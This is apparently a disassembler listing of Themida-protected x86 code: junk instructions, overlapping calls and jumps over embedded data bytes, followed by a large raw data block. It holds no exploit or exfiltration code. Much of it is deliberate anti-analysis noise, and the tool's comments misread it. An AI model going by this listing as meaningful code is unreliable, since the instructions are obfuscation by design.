mov ecx, 15C4B29Dh
jnz loc_6123DB
movzx edx, dx
loc_6123DB: ; CODE XREF: Themida_:006123D2j
mov dx, 0DAB2h
push eax
jmp loc_6123EE
; ---------------------------------------------------------------------------
db 91h, 5Eh, 7Dh
dd 0B090FF10h
db 36h, 0CDh
; ---------------------------------------------------------------------------
loc_6123EE: ; CODE XREF: Themida_:006123E0j
pop ecx
pusha
jmp loc_612407
; ---------------------------------------------------------------------------
db 0E9h, 87h, 71h
; ---------------------------------------------------------------------------
sub ch, cl
div byte ptr [edx-44h]
push esp
mov byte ptr [edx+51EFE146h], 0Eh
sbb al, 0ADh
loc_612407: ; CODE XREF: Themida_:006123F0j
xor di, 23A8h
popa
pusha
movsx ecx, si
stc
popa
push ebx
jmp loc_612429
; ---------------------------------------------------------------------------
db 2Dh, 4Ch, 24h
dd 0B112C6E4h, 0E6E27DD0h, 0E664CE43h
db 0EDh
; ---------------------------------------------------------------------------
loc_612429: ; CODE XREF: Themida_:00612414j
pop edx
clc
mov ecx, 6ACA22B1h
movzx edx, cx
mov ah, 0F8h
jle loc_61243F
mov bx, 0E585h
loc_61243F: ; CODE XREF: Themida_:00612435j
xor cx, 4673h
jo loc_612450
sbb esi, 3BE7E805h
loc_612450: ; CODE XREF: Themida_:00612444j
pusha
clc
call sub_61245F
insd
int 5Ch ; NETBIOS INTERFACE
; ES:BX -> Network Control Block
; Return: AL = status
mov ds:3CEABC68h, al
; =============== S U B R O U T I N E =======================================
sub_61245F proc near ; CODE XREF: Themida_:00612452p
pop esi
popa
add edi, 42DC2EE2h
xor di, 0DE07h
mov ch, 4Ah
call sub_61247A
jno short sub_6124C4
scasd
xchg dl, [ebx-10h]
pop edx
sub_61245F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_61247A proc near ; CODE XREF: sub_61245F+Fp
jnb loc_612482
mov ebx, ecx
loc_612482: ; CODE XREF: sub_61247Aj
pop esi
mov esi, 4550FE87h
mov bh, 5
mov edx, 4E001290h
mov edx, 428AF862h
cmc
or edx, 22C7AB6Eh
cld
mov edx, eax
push ecx
jo loc_6124AB
ja $+6
loc_6124AB: ; CODE XREF: sub_61247A+25j
pop ebx
pusha
push edi
call sub_6124C4
push esp
push ss
dec esi
mov dl, 8Bh
xor [esi-61C05BCCh], ebx
cli
lock wait
db 36h
xchg eax, esi
sahf
sub_61247A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_6124C4 proc near ; CODE XREF: sub_61245F+14j
; sub_61247A+34p
pop ecx
pop ecx
mov al, 44h
popa
mov ecx, 1B0EB20h
mov eax, esi
clc
pusha
jnp $+6
popa
push ecx
mov di, 0BF71h
pop ecx
mov ecx, 167EB732h
add bx, 0C9FDh
pusha
sub di, 251Ch
mov edi, esi
popa
pusha
pusha
call sub_612501
inc edi
retn 1A64h
sub_6124C4 endp
; ---------------------------------------------------------------------------
test [ecx-1], al
wait
; =============== S U B R O U T I N E =======================================
sub_612501 proc near ; CODE XREF: sub_6124C4+30p
pop eax
jmp loc_61250C
; ---------------------------------------------------------------------------
db 17h
dd 0C564032Bh
; ---------------------------------------------------------------------------
loc_61250C: ; CODE XREF: sub_612501+1j
popa
call sub_612523
db 3Eh
xchg eax, esi
setalc
cmpsb
nop
mov cl, 0C6h
add eax, 1C04694Ah
mov ds:0D7206F21h, eax
sub_612501 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_612523 proc near ; CODE XREF: sub_612501+Cp
clc
pop ecx
popa
jg loc_61252F
and ch, 8Bh
loc_61252F: ; CODE XREF: sub_612523+3j
cld
cld
sbb ebx, 43CF626h
mov ecx, edx
mov dl, ch
mov eax, edi
or ebx, 14220A62h
mov ecx, 708D1A81h
mov edi, ecx
jmp loc_61255B
; ---------------------------------------------------------------------------
db 82h
dd 1D8745BDh, 0DA6FDFAh
; ---------------------------------------------------------------------------
frstor byte ptr [edx]
push eax
loc_61255B: ; CODE XREF: sub_612523+27j
and al, 72h
movzx edi, dx
mov cl, 6
add bx, 0FA9Bh
adc cl, 29h
mov edi, 0ED081B9h
push ebx
mov ch, 0E4h
pop ecx
sbb ah, 91h
js loc_612581
mov cx, 0E213h
loc_612581: ; CODE XREF: sub_612523+54j
jmp loc_61258F
; ---------------------------------------------------------------------------
dw 9E16h
dd 37DEEDB3h
db 8Dh, 95h, 76h
; ---------------------------------------------------------------------------
loc_61258F: ; CODE XREF: sub_612523:loc_612581j
jno loc_612596
cmc
loc_612596: ; CODE XREF: sub_612523:loc_61258Fj
and dx, 0E5B5h
jl loc_6125A9
jns loc_6125A9
push edi
pop esi
loc_6125A9: ; CODE XREF: sub_612523+78j
; sub_612523+7Ej
mov edx, 398800D4h
clc
jno loc_6125BD
pusha
pusha
popa
mov bx, 3CCEh
popa
loc_6125BD: ; CODE XREF: sub_612523+8Cj
pusha
mov cx, 0BE1Dh
mov ax, dx
popa
jo loc_6125CF
movsx ebx, ax
loc_6125CF: ; CODE XREF: sub_612523+A3j
jbe loc_6125F2
pusha
jmp loc_6125EE
; ---------------------------------------------------------------------------
db 99h
dd 5C92AA93h, 0F2B8E199h, 0E64707EDh, 0C109A45Eh
db 5Bh, 28h
; ---------------------------------------------------------------------------
loc_6125EE: ; CODE XREF: sub_612523+B3j
movzx edx, dx
popa
loc_6125F2: ; CODE XREF: sub_612523:loc_6125CFj
mov edi, 598B14BEh
and ebx, 2CAC461h
and dh, 15h
jbe loc_612608
mov edx, ecx
loc_612608: ; CODE XREF: sub_612523+DDj
pusha
call near ptr loc_612610+5
sbb al, 0C1h
loc_612610: ; CODE XREF: sub_612523+E6p
lock mov eax, 66B37E9Bh
sub_612523 endp ; sp-analysis failed
xor esi, 66583DB3h
sbb ebx, 0B0617308h
pop ds
mov ecx, 17C8FADFh
push ecx
push esi
adc ecx, 29D306B0h
pop ebx
pop ebx
and ax, 538Dh
jl loc_612642
mov edi, 2573D7D7h
loc_612642: ; CODE XREF: Themida_:00612637j
jmp loc_61264D
; ---------------------------------------------------------------------------
db 0C9h
dd 3280A7FEh
db 0CFh
; ---------------------------------------------------------------------------
loc_61264D: ; CODE XREF: Themida_:loc_612642j
pusha
call sub_612666
cmc
mov gs, [esi+66h]
xchg eax, ecx
dec eax
fstp1 st(6)
retf
; ---------------------------------------------------------------------------
dd 9D9E585Ah, 0BDE20A1Ch
db 65h, 0D4h
; =============== S U B R O U T I N E =======================================
sub_612666 proc near ; CODE XREF: Themida_:0061264Ep
mov dh, ch
pop eax
and edi, 566371A3h
popa
xor cl, 78h
mov ax, dx
call sub_61268A
cmp eax, 8459307Bh
mov esi, 0C5EFD5DDh
mov ds:0A36620D8h, eax
sub_612666 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_61268A proc near ; CODE XREF: sub_612666+10p
sbb ecx, 7976ECCAh
pop ecx
mov bl, 4Ah
mov dx, di
cmc
jns loc_6126A0 ; CODE XREF: sub_61268A+56j
sbb dh, 1Dh
loc_6126A0: ; CODE XREF: sub_61268A+Dj
; sub_61268A+5Bj
pusha
mov esi, 15F5F9FAh
jmp loc_6126B8
; ---------------------------------------------------------------------------
pop ecx
mov esp, 0F76AAEE5h
scasd
mov esi, 48683ED6h
push esi
loc_6126B8: ; CODE XREF: sub_61268A+1Cj
popa
jge loc_6126C5
sbb ecx, 1BFBEEA3h
loc_6126C5: ; CODE XREF: sub_61268A+2Fj
mov esi, ecx
jmp loc_6126DB
; ---------------------------------------------------------------------------
dd 921F1C00h, 3AE0E2FFh, 4777191Ch
db 16h, 0AFh, 67h
; ---------------------------------------------------------------------------
loc_6126DB: ; CODE XREF: sub_61268A+3Dj
call near ptr loc_6126ED+5
loop near ptr loc_612697+1
pop esi
mov ah, 0B7h
loopne loc_6126A0
xor esp, ebx
adc [eax+esi-78h], ah
loc_6126ED: ; CODE XREF: sub_61268A:loc_6126DBp
db 26h
mov esp, 0E9C73288h
sub_61268A endp ; sp-analysis failed
sldt word ptr [eax]
add bl, bh
mov ch, 1
adc eax, 8CD8AFC1h
mov dl, ah
add edx, 0FFFFFFC8h
arpl [edi+ebx*2-7F9F3175h], dx
fistp dword ptr [edx-73F0069Fh]
add eax, [eax]
; ---------------------------------------------------------------------------
db 0
dd 0D1B70F00h, 72BA66F8h, 13E914h, 761B0000h, 0DB4ADFBEh
dd 9DC5808h, 68BA8E89h, 26DEFAE4h, 60F38BBAh, 0B085D080h
dd 0FE86193h, 74000000h, 2F7B02DBh, 7F303145h, 85D7E423h
dd 0D9B28232h, 40BF665Eh, 6059B0F4h, 0B03DB966h, 0FD72B866h
dd 0F2D98161h, 0B52C870Ah, 0FB8B6603h, 13E960h, 0A6110000h
dd 0AAD0C869h, 5B9F4491h, 0FF62D5DEh, 0F2722432h, 8A61F9AFh
dd 0F8B70FDAh, 60D2BF0Fh, 61F9D38Bh, 0BE6615B6h, 11E856BFh
dd 0A6000000h, 187A0FBEh, 0FA5A1D27h, 0F3BA9B74h, 71C02BA6h
dd 5FF3B70Fh, 10E9h, 0F44D8C00h, 91B1D5D7h, 297AF661h
dd 0C5BEBCFCh, 0D681664Ch, 0C68BA64Bh, 2850F56h, 8B000000h
dd 0B70F58CEh, 28B0FF7h, 0B5000000h, 66FA8B27h, 9A7AC781h
dd 9E8h, 2D840600h, 8AF9A08Fh, 0B70FBB4Ch, 0BAF95BC6h
dd 1EFDD69h, 10E9h, 8C28B300h, 0F853CEF8h, 0E896C8FFh
dd 6BD9DF23h, 8800F1Ah, 0F000000h, 28Eh, 0B45B5100h, 6E938h
dd 2CA80000h, 0E753CBDDh, 0A296B6BFh, 0B7D18134h, 6079EE24h
dd 7E8h, 89D57F00h, 0EBF81F82h, 0EF816658h, 6061C1F9h
dd 0FE8h, 0B2113200h, 8360CA64h, 767FDD78h, 1FBA2F6Ah
dd 6E9h, 62F4B200h, 5B9B57A8h, 249FBE66h, 0C2B70F61h, 4FB5D681h
dd 0CE803C0h, 5B000000h, 15375636h, 0D64B21A7h, 5E51B001h
dd 8818BA53h, 0F5B4D96h, 38Ah, 0D38B6600h, 0E8F2BF0Fh
dd 0Fh, 4505E379h, 0C198529Fh, 26523554h, 0FA25966h, 28Fh
dd 5F70B400h, 0FF18B66h, 8Ch, 0E6816600h, 0EB81F510h, 5394A6B6h
dd 0E9C78B66h, 14h, 8BE8959h, 8B5B1AA5h, 0B872BA38h, 42B1546Dh
dd 0C5F064D0h, 28C0Fh, 0DE8B0000h, 0BE953h, 0B6FF0000h
dd 7AD03891h, 2AA18243h, 0F605B39h, 1187h, 0BE800h, 0C62E0000h
dd 6483EC34h, 3D22D845h, 0E8535F13h, 7, 727DE0DBh, 5E2EC731h
dd 0CD806158h, 0AE992h, 0BC4C0000h, 0F9B2446Eh, 0D6CA0A14h
dd 6E8h, 89E84C00h, 0E9CA7BBFh, 7, 0C494F932h, 58A780A2h
dd 17FD67BBh, 0E081600Fh, 79526F86h, 10E9h, 0F881AC00h
dd 29A8946Dh, 428C2A12h, 9C8071DDh, 0AE961CEh, 0F5000000h
dd 0C55772B3h, 921B59Bh, 6E904h, 0B9DB0000h, 95D9612Ah
dd 7E8h, 0F540B100h, 0A76D1D20h, 565BDA8Bh, 0D021D1BFh
dd 8B665930h, 7E9D6h, 473B0000h, 0F447851Ah, 6E921h, 0ADBC0000h
dd 5F0422C9h, 0FA8B66FCh, 0BE9h, 0CAF4DA00h, 7804D590h
dd 76E8F3A4h, 0D38A14B2h, 138E0Fh, 0BE80000h, 21000000h
dd 0AAA0CAA4h, 0BEAB4E81h, 0CA8B4A3Ah, 0CE2BB5Eh, 0B70F6B4Ah
dd 8E8F0h, 4B870000h, 56C18A4Ch, 6E98598h, 5A000000h, 0A642B736h
dd 0D18B5EC4h, 0EE8h, 994A9500h, 0F7805257h, 0B9928945h
dd 66C5CA93h, 0BCABD981h, 7BE58058h, 0FCE8B66h, 584h, 0C1816600h
dd 80FCD69Ch, 0CD804DE6h, 13E9F9DBh, 3A000000h, 76F566CAh
dd 0A1144EE0h, 73B2C684h, 0AA63F6E8h, 0B70FDB42h, 0EA8166D9h
dd 0BF0F7FDCh, 93E180C9h, 810FCB8Ah, 4, 4FB866h, 0C5B86660h
dd 6661FC10h, 0F322F681h, 95BE27B9h, 0E914B06Ch, 14h, 0DDB6A3BBh
dd 0C48A615Dh, 9EF31248h, 0B456F546h, 7A50418Fh, 6653E88Ah
dd 592FADBAh, 158F0F60h, 0E9000000h, 10h, 0EAF07C5h, 5B27892h
dd 544DECBEh, 6AE8D7D1h, 1A8A0F61h, 0F000000h, 1488h, 0EE800h
dd 3A8E0000h, 0A2770E3Ah, 8EA13EC1h, 3604A62h, 6DB9665Bh
dd 60DB81FCh, 8A114AFEh, 0FF780D3h, 5B5FDB81h, 11E92EE1h
dd 90000000h, 0C6A86B17h, 81F5239Eh, 0ECB94567h, 0D8D4C496h
dd 28D0F60h, 52000000h, 0D1815058h, 77C16754h, 0D68B6158h
dd 0CF8B50B4h, 0DE8h, 19721500h, 3EF43FDh, 55E08388h, 0F5FC743h
dd 1884h, 13E900h, 0D5840000h, 0BD181080h, 39CD7813h, 67A3BA6Bh
dd 6BAB2107h, 800FF87Ch, 0
; ---------------------------------------------------------------------------
mov ecx, ebx
jmp loc_612B81
; ---------------------------------------------------------------------------
db 0F2h
dd 9E04834Ch
; ---------------------------------------------------------------------------
xchg eax, ecx
loc_612B81: ; CODE XREF: Themida_:00612B76j
pusha
call near ptr loc_612B96+1
jns short near ptr loc_612BC8+3
enter 0FFFFCAE3h, 35h
call near ptr 0F01B6Ah
adc byte ptr [ebp+63h], 93h
loc_612B96: ; CODE XREF: Themida_:00612B82p
aam 66h
mov edi, 515E2054h
mov edi, eax
pop ebx
popa
sbb dh, 0ACh
jmp loc_612BAE
; ---------------------------------------------------------------------------
db 0A8h, 25h, 0C8h
db 0BCh, 0CAh
; ---------------------------------------------------------------------------
loc_612BAE: ; CODE XREF: Themida_:00612BA4j
jnb loc_612BB9
xor si, 0AE14h
loc_612BB9: ; CODE XREF: Themida_:loc_612BAEj
pusha
mov ah, 68h
mov edx, 7AF23A48h
popa
jbe loc_612BE1
loc_612BC8: ; CODE XREF: Themida_:00612B87j
jno loc_612BE1
jmp loc_612BE1
; ---------------------------------------------------------------------------
db 0BFh
dd 26CDBF0Bh, 146E4CEFh, 20829081h
db 20h
; ---------------------------------------------------------------------------
loc_612BE1: ; CODE XREF: Themida_:00612BC2j
; Themida_:loc_612BC8j ...
js loc_612C04
jns loc_612C04
jmp loc_612C04
; ---------------------------------------------------------------------------
dw 0C153h
dd 12F07BFDh, 1A67000Bh, 0C4D614A5h, 836DE194h
; ---------------------------------------------------------------------------
loc_612C04: ; CODE XREF: Themida_:loc_612BE1j
; Themida_:00612BE7j ...
jmp loc_612C1B
; ---------------------------------------------------------------------------
align 2
dw 9269h
dd 1C343659h, 7025E0F3h, 39AFA8EAh
; ---------------------------------------------------------------------------
movsd
mov cl, 41h
loc_612C1B: ; CODE XREF: Themida_:loc_612C04j
add edi, 38F953B6h
xor esi, 633F1B73h
adc si, 0E561h
ja loc_612C35
movzx edi, di
loc_612C35: ; CODE XREF: Themida_:00612C2Cj
jmp loc_612C42
; ---------------------------------------------------------------------------
xor al, [eax+2Ch]
xor eax, 4A319F3Ah
loc_612C42: ; CODE XREF: Themida_:loc_612C35j
mov ecx, 7446F7A8h
jmp loc_612C51
; ---------------------------------------------------------------------------
and [esi], bl
inc edi
xchg ecx, [edi]
loc_612C51: ; CODE XREF: Themida_:00612C47j
mov bx, 21A7h
and dx, 8889h
mov ax, 0FC07h
or eax, 35FA93A7h
sub bx, 18BAh
loc_612C69: ; CODE XREF: Themida_:00612CBBj
jmp loc_612C7D
; ---------------------------------------------------------------------------
dw 272Ch
dd 0E8B7AC61h, 42A2FE4Ah, 0A28AAFA3h
; ---------------------------------------------------------------------------
xchg eax, esi
loc_612C7D: ; CODE XREF: Themida_:loc_612C69j
clc
mov edx, 57AAAE90h
mov di, ax
mov edx, 712B5464h
push ecx
mov ax, 0BC61h
pop ecx
mov si, 65F0h
ja loc_612CA2
jnb loc_612CA2
stc
loc_612CA2: ; CODE XREF: Themida_:00612C95j
; Themida_:00612C9Bj
movzx edi, si
stc
jle loc_612CC3
jmp loc_612CC3
; ---------------------------------------------------------------------------
db 4Ah, 91h, 0E4h
; ---------------------------------------------------------------------------
popf
fisubr dword ptr [ecx+2780222Dh]
jnz short loc_612C69
imul ebp, [edi], -0Bh
cmc
retn
; ---------------------------------------------------------------------------
db 14h
; ---------------------------------------------------------------------------
loc_612CC3: ; CODE XREF: Themida_:00612CA6j
; Themida_:00612CACj
mov ebx, 590CABC3h
sbb bl, 0ABh
mov bl, 2Dh
sub esi, 6AA01736h
jmp loc_612CE9
; ---------------------------------------------------------------------------
dd 36E154Ch, 50B99139h, 0A0FB47C2h, 526818B5h
db 3Bh
; ---------------------------------------------------------------------------
loc_612CE9: ; CODE XREF: Themida_:00612CD3j
push ebx
xor si, 2604h
pop edx
mov cx, dx
and si, 0F371h
jmp loc_612D0C
; ---------------------------------------------------------------------------
db 56h, 63h, 4Ah
dd 0DC3DF5E7h, 4331367Ch, 0D6BD6D83h
; ---------------------------------------------------------------------------
loc_612D0C: ; CODE XREF: Themida_:00612CF8j
mov eax, 798F3F3Ch
mov esi, 33E9E78Ah
mov bh, 3Ch
sub di, 8A1Bh
pusha
mov edx, ebx
loc_612D20: ; DATA XREF: ___:off_4455F0o
cmc
popa
sbb cx, 0D57Bh
call near ptr loc_612D3D+2
pushf
insb
mov ecx, 2F11D9E5h
cmp esi, [edx]
test al, 87h
xchg bh, bl
xchg eax, ecx
or edi, [ecx+62h]
loc_612D3D: ; CODE XREF: Themida_:00612D27p
mov ebx, 5A585654h
jb loc_612D4D
and di, 0FB92h
loc_612D4D: ; CODE XREF: Themida_:00612D42j
mov bl, dl
jmp loc_612D5A
; ---------------------------------------------------------------------------
jbe short near ptr word_612D7A
test byte ptr [edi+6Fh], 0F6h
loc_612D5A: ; CODE XREF: Themida_:00612D4Fj
push ebx
mov ax, di
pop ebx
add dh, 0F9h
call near ptr loc_612D6D+4
cmp al, 0F6h
das
push ss
xchg edx, esp
loc_612D6D: ; CODE XREF: Themida_:00612D62p
cmp eax, 66FBCB25h
mov edx, 0F5FB846h
pop dword ptr [edx]
; ---------------------------------------------------------------------------
db 0
word_612D7A dw 0 ; CODE XREF: Themida_:00612D54j
; ---------------------------------------------------------------------------
mov esi, eax
or dx, 0E7D6h
pusha
movsx esi, dx
call sub_612D9A
; =============== S U B R O U T I N E =======================================
sub_612D8C proc near ; CODE XREF: sub_612D9A+36j
push ebx
lea ebx, [ecx+3Fh]
std
sbb [esi+78C72B3Bh], esi
xchg eax, ecx
push 60h
sub_612D8C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_612D9A proc near ; CODE XREF: Themida_:00612D87p
mov cl, 9
pop esi
popa
push ecx
mov ch, 4Bh
pop ebx
loc_612DA2: ; CODE XREF: sub_612D9A+4Ej
mov bx, 285Ah
pusha
pusha
jmp loc_612DB9
; ---------------------------------------------------------------------------
db 0B0h, 87h, 5Eh
dd 7FC3A61Bh, 198EA6DCh
db 0A1h
; ---------------------------------------------------------------------------
loc_612DB9: ; CODE XREF: sub_612D9A+Ej
jmp loc_612DD2
; ---------------------------------------------------------------------------
dw 9423h
dd 1317C8B6h, 80BFA89Ah, 9CDBBEDAh, 4062DC1Bh
; ---------------------------------------------------------------------------
jl short sub_612D8C
loc_612DD2: ; CODE XREF: sub_612D9A:loc_612DB9j
popa
popa
stc
cld
push edi
jmp loc_612DEA
; ---------------------------------------------------------------------------
dd 0CC1FF6ECh, 1CA60A48h, 43F0B2C5h
; ---------------------------------------------------------------------------
jo short loc_612DA2
loc_612DEA: ; CODE XREF: sub_612D9A+3Dj
pop edx
movsx edx, cx
and cx, 0A19h
jmp loc_612E0C
; ---------------------------------------------------------------------------
test eax, 0F820EAB8h
cmp byte ptr [eax+2], 2Ah
sbb al, 29h
mov esi, 131F23A8h
retn 0DDB8h
; ---------------------------------------------------------------------------
aas
loc_612E0C: ; CODE XREF: sub_612D9A+59j
mov ecx, 12DAE0C1h
push esi
jns loc_612E1A
pusha
popa
loc_612E1A: ; CODE XREF: sub_612D9A+78j
pop ecx
xor edi, 2AAA5DCCh
sbb dx, 1999h
movzx ebx, ax
js $+6
jbe loc_612E50
call sub_612E4A
dec esi
or eax, 45ABCBF5h
movsd
jnz short near ptr loc_612E62+3
cmp bl, cl
sub al, 96h
add al, 3
iret
sub_612D9A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_612E4A proc near ; CODE XREF: sub_612D9A+9Bp
mov edx, 7EA6C82Eh
pop ebx
loc_612E50: ; CODE XREF: sub_612D9A+95j
call near ptr loc_612E56+4
inc edx
loc_612E56: ; CODE XREF: sub_612E4A:loc_612E50p
test eax, 81EAC9E5h
sub_612E4A endp ; sp-analysis failed
lock test cl, dh
wait
xor [eax+66h], bl
loc_612E62: ; CODE XREF: sub_612D9A+A7j
mov esi, 0F8F96D50h
push eax
mov dx, si
pop edi
mov ebx, edi
cmc
push eax
jmp loc_612E7A
; ---------------------------------------------------------------------------
db 0E2h, 5Bh, 0B3h
db 98h, 38h
; ---------------------------------------------------------------------------
loc_612E7A: ; CODE XREF: Themida_:00612E70j
pop ebx
mov edx, eax
movzx ecx, dx
movsx ecx, dx
mov edi, 2ECFBFD7h
mov bx, dx
jo loc_612E93
mov edi, eax
loc_612E93: ; CODE XREF: Themida_:00612E8Bj
mov si, 4433h
pusha
mov bh, 45h
call sub_612EA4
xchg eax, edi
sub [eax+31h], ah
inc ebp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_612EA4 proc near ; CODE XREF: Themida_:00612E9Ap
jmp sub_612EB3
sub_612EA4 endp
; ---------------------------------------------------------------------------
db 32h, 0D2h, 1Bh
dd 0FB914BFAh
db 9Ah, 0, 1Ch
; =============== S U B R O U T I N E =======================================
sub_612EB3 proc near ; CODE XREF: sub_612EA4j
pop ebx
popa
pusha
jl loc_612EBE
push esi
pop edi
loc_612EBE: ; CODE XREF: sub_612EB3+3j
ja loc_612EC6
pusha
popa
loc_612EC6: ; CODE XREF: sub_612EB3:loc_612EBEj
popa
adc eax, 47FCB01h
mov si, dx
jnp loc_612EDC
sbb eax, 4A2070F4h
loc_612EDC: ; CODE XREF: sub_612EB3+1Dj
mov dl, 56h
push eax
mov si, di
pop esi
mov dh, 1Ch
or cx, 9412h
movzx esi, bx
pusha
clc
popa
mov ecx, esi
ja loc_612EFD
mov ecx, 442B4AA7h
loc_612EFD: ; CODE XREF: sub_612EB3+3Fj
sbb dl, 0E3h
xor dh, 26h
mov edi, 6224B78Fh
jnp loc_612F11
sub dh, 9Ch
loc_612F11: ; CODE XREF: sub_612EB3+55j
jmp loc_612F2A
; ---------------------------------------------------------------------------
dw 0E60h
dd 7F4DF9BDh, 9CE95066h, 357670C1h, 10699ECCh
; ---------------------------------------------------------------------------
mov ebx, edi
loc_612F2A: ; CODE XREF: sub_612EB3:loc_612F11j
jmp loc_612F3F
; ---------------------------------------------------------------------------
db 0B2h
dd 0D11C7296h, 0C2B28F4Fh, 0C9EAD3E1h
db 81h, 0F3h, 37h
; ---------------------------------------------------------------------------
loc_612F3F: ; CODE XREF: sub_612EB3:loc_612F2Aj
cmc
mov esi, 2E400714h
mov eax, 161B3394h
sub cl, 3Fh
push edi
jmp loc_612F65
; ---------------------------------------------------------------------------
db 2Ah
dd 0D6B4AFEDh, 8B855624h, 0EF3886B2h, 0D1EEF56Eh
db 0A9h
; ---------------------------------------------------------------------------
loc_612F65: ; CODE XREF: sub_612EB3+9Bj
pop ebx
mov eax, 4D74A825h
adc dx, 5B57h
call near ptr locret_612F7C+1
mov ds:0AE2FDED5h, al
dec esp
pop ds
locret_612F7C: ; CODE XREF: sub_612EB3+BDp
retn 0BF0Fh
sub_612EB3 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
pop edi
jmp loc_612F99
; ---------------------------------------------------------------------------
retf 0D552h
; ---------------------------------------------------------------------------
db 4Eh, 0B7h, 0CAh
dd 0D5639771h, 8D980E95h, 0B796B140h
db 0A2h
; ---------------------------------------------------------------------------
loc_612F99: ; CODE XREF: Themida_:00612F81j
jl loc_612FA1
mov al, 0A6h
loc_612FA1: ; CODE XREF: Themida_:loc_612F99j
mov esi, ebx
mov esi, 22D9CA57h
cld
mov di, 29Eh
and ah, 0A7h
jmp loc_612FBA
; ---------------------------------------------------------------------------
db 14h, 0D3h, 0AFh
db 0FAh, 77h
; ---------------------------------------------------------------------------
loc_612FBA: ; CODE XREF: Themida_:00612FB0j
cld
sbb esi, 5D06C766h
cmc
sub si, 0DD4Dh
mov dl, 7Dh
js loc_612FD0
clc
loc_612FD0: ; CODE XREF: Themida_:00612FC9j
mov si, di
and bx, 9919h
jmp loc_612FE3
; ---------------------------------------------------------------------------
db 2Eh, 1Fh, 0B4h
; ---------------------------------------------------------------------------
inc esi
xor eax, edi
loc_612FE3: ; CODE XREF: Themida_:00612FD8j
; Themida_:00612FFCj
jmp loc_612FEF
; ---------------------------------------------------------------------------
pop bp
cld
nop
aaa
lahf
push esp
loc_612FEF: ; CODE XREF: Themida_:loc_612FE3j
mov dl, ah
movsx edx, di
jmp loc_612FFE
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
add al, 26h
jo short loc_612FE3
loc_612FFE: ; CODE XREF: Themida_:00612FF4j
jb loc_613014
call near ptr loc_613009+5
loc_613009: ; CODE XREF: Themida_:00613004p
fsub dword ptr [edi-444DE4F6h]
xchg eax, ecx
pop ebx
cmc
push cs
pop ebx
loc_613014: ; CODE XREF: Themida_:loc_612FFEj
sub di, 2E45h
mov dh, ah
jmp loc_61302E
; ---------------------------------------------------------------------------
dd 2318468Bh, 7F63214Fh, 7417D3BCh
; ---------------------------------------------------------------------------
cmpsb
push esi
loc_61302E: ; CODE XREF: Themida_:0061301Bj
movzx ebx, di
pusha
jmp loc_61304B
; ---------------------------------------------------------------------------
and eax, 7AFB655h
mov ecx, 0EDF738BEh
cmp ah, bh
and eax, 2756662Dh
sti
inc eax
pop edi
loc_61304B: ; CODE XREF: Themida_:00613032j
movzx edx, cx
popa
call near ptr loc_613054+8
loc_613054: ; CODE XREF: Themida_:0061304Fp
mov dword ptr [eax-6EB25CD8h], 565961E5h
push edi
call loc_613077
add al, 0ABh
dec esp
push 1Dh
aas
xchg eax, ecx
pop es
mov ebx, 0FD267BDBh
cmp dl, [edi+38C3B962h]
loc_613077: ; CODE XREF: Themida_:0061305Fp
pop edx
pop edi
pop eax
jmp loc_61308F
; ---------------------------------------------------------------------------
db 4
dd 0AA88E406h, 0E47D0A39h, 0A8B22DB9h
; ---------------------------------------------------------------------------
pop es
fdiv st, st(4)
loc_61308F: ; CODE XREF: Themida_:0061307Aj
mov esi, edx
mov bx, ax
jmp loc_6130AB
; ---------------------------------------------------------------------------
db 3Dh, 34h, 1Dh
dd 604D4099h, 0ECD80FECh, 607D6EA7h
db 3Ch, 0F3h, 80h
; ---------------------------------------------------------------------------
loc_6130AB: ; CODE XREF: Themida_:00613094j
movsx ebx, bx
jns loc_6130B6
mov ecx, esi
loc_6130B6: ; CODE XREF: Themida_:006130AEj
mov eax, edi
sbb eax, 5A174Eh
mov ch, 51h
push edi
mov bl, ah
pop edi
sbb dx, 0A5F6h
jmp loc_6130D3
; ---------------------------------------------------------------------------
dw 0AFB3h
db 0DAh, 0A3h, 47h
; ---------------------------------------------------------------------------
loc_6130D3: ; CODE XREF: Themida_:006130C9j
call sub_6130DE
mov bl, 2Eh
; ---------------------------------------------------------------------------
dw 0D4D9h
db 0DFh, 80h
; =============== S U B R O U T I N E =======================================
sub_6130DE proc near ; CODE XREF: Themida_:loc_6130D3p
pusha
mov eax, 2E9FA540h
adc ax, 88Eh
popa
pop ebx
sbb cx, 0DC23h
or dx, 9557h
adc edi, 56CF01CCh
call sub_613110
jnb short near ptr loc_613174+1
mov ebx, 15966F67h
xor bl, dl
or eax, [ebx]
test cl, al
db 65h
xor eax, edx
sub_6130DE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_613110 proc near ; CODE XREF: sub_6130DE+1Dp
pusha
js $+6
mov bl, 57h
popa
pop edx
mov edx, 179C264Eh
jge loc_61312A
mov si, 367Dh
loc_61312A: ; CODE XREF: sub_613110+10j
add dl, 3Fh
movsx edi, bx
mov bh, 71h
mov edi, 313EAF43h
push ecx
call sub_613147
insd
iret
sub_613110 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 79h
dd 0D2EF4C9Eh
db 36h, 3Fh, 0F0h
; =============== S U B R O U T I N E =======================================
sub_613147 proc near ; CODE XREF: sub_613110+28p
mov dx, 8242h
pop edi
pop ebx
sbb bx, 0F81Bh
pusha
mov bh, al
jnz loc_61315C
stc
loc_61315C: ; CODE XREF: sub_613147+Ej
popa
jmp loc_613174
; ---------------------------------------------------------------------------
dw 0E67Fh
dd 0FDB91486h, 92A510A3h, 311641DDh, 948D24A3h
; ---------------------------------------------------------------------------
loc_613174: ; CODE XREF: sub_613147+16j
; sub_6130DE+22j
mov esi, 184C5108h
call sub_613188
push cs
push 78C43AF8h
in al, 0CAh ; DMA controller, 8237A-5.
; single mask bit register
; 0-1: select channel (00=0; 01=1; 10=2; 11=3)
; 2: 1=set mask for channel; 0=clear mask (enable)
loopne loc_6131DA
sub_613147 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_613188 proc near ; CODE XREF: sub_613147+32p
jmp sub_613196
sub_613188 endp
; ---------------------------------------------------------------------------
db 0DBh, 0F2h, 5Eh
